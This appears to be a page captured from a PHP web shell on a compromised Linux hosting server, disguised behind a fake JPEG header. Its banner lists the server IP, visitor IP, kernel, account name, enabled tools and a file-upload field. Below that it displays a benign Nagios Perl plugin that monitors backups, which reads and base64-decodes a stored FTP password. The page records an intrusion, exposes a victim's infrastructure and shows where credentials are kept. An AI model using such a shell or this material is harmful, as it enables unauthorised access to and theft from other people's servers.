����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.191.125.73 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /lib64/nagios/plugins/extra/ |
Upload File : |
#!/usr/bin/env perl use extreme; use File::Slurp; use POSIX qw(strftime); use Carp; use Net::FTP; use MIME::Base64; use Date::Manip; use DA::Client; my @incidents; my $exit_code = 0; my $today_date = strftime "%F", localtime; my $today_hour = strftime "%H", localtime; my $bkp_end = '/var/tmp/backup_finished'; my $bkp_ok = '/var/tmp/backup_ok'; my $bkp_bl = '/var/tmp/backup_bl'; my $bkp_wl = '/etc/icinga2/plinc/backupwhitelist'; unlink $bkp_end, $bkp_ok, $bkp_bl if $today_hour <= 1; if ( -f $bkp_ok ) { say "backup OK"; exit $exit_code; } my $config_file = "/etc/backup.conf"; my $conf->%* = map { chomp; split /\s*=\s*/ } read_file($config_file) if -r $config_file; $conf->{warning_h} //= 15; $conf->{critical_h} //= 18; # check if backup is still in progress if ( !-f $bkp_end ) { $exit_code = 1 if $today_hour > $conf->{warning_h}; $exit_code = 2 if $today_hour > $conf->{critical_h}; if ( $exit_code > 0 ) { print <<END; Backup is still running. Maybe something goes wrong. Check it, or adjust {warning,critical}_h in /etc/backup.conf END } else { say "backup OK"; } exit $exit_code; } my $da_cli = DA::Client->local( user => 'billing' ); # get users with suspend info my $users_susp_info = $da_cli->CMD_API_SHOW_USERS( method => 'GET', get_variable => 'suspended' ); # get users with date_created info my $users_date_info = $da_cli->CMD_API_SHOW_USERS( method => 'GET', get_variable => 'date_created' ); my @users = grep { $users_susp_info->{$_} eq 'no' } keys $users_susp_info->%*; my $ftp_conf = get_ftp_credentials(); my $ftp = Net::FTP->new( $ftp_conf->{ftp_ip}, Debug => 0 ); $ftp->login( $ftp_conf->{ftp_username}, $ftp_conf->{ftp_password} ); $ftp->cwd("$ftp_conf->{ftp_path}/$today_date"); my @user_archives = $ftp->ls; my @bl = read_file( $bkp_bl, chomp => 1 ) if -f $bkp_bl; @bl = () if !@bl; my @wl = read_file( $bkp_wl, chomp => 1 ) if -f $bkp_wl; @wl = () if !@wl; for my $user (@users) { next if ( $user ~~ @bl || $user ~~ @wl ); my $date = strftime "%F", localtime( UnixDate( $users_date_info->{$user}, "%s" ) ); next if $date eq $today_date; if ( not "user.billing.$user.tar.gz" ~~ @user_archives ) { push @incidents, "Last backup for user '$user' not found" if not "$user.tar.gz" ~~ @user_archives; $exit_code = 2; } } if (@incidents) { say join( "\n", @incidents ); exit $exit_code; } unlink $bkp_bl, $bkp_end; open( my $FH, '>', $bkp_ok ); say "backup OK"; # SUBS sub get_ftp_credentials { my $bkp_conf_file = '/usr/local/directadmin/data/admin/backup.conf'; my $ftp_conf; open my $FH, $bkp_conf_file or die "Could not open $bkp_conf_file: $!"; while ( my $line = <$FH> ) { my ( $key, $value ) = $line =~ m/(.+)=(.+)/; $ftp_conf->{$key} = $value; } close $FH; croak 'Backup access not found' if !defined $ftp_conf; $ftp_conf->{ftp_password} = decode_base64( $ftp_conf->{ftp_password} ); return $ftp_conf; }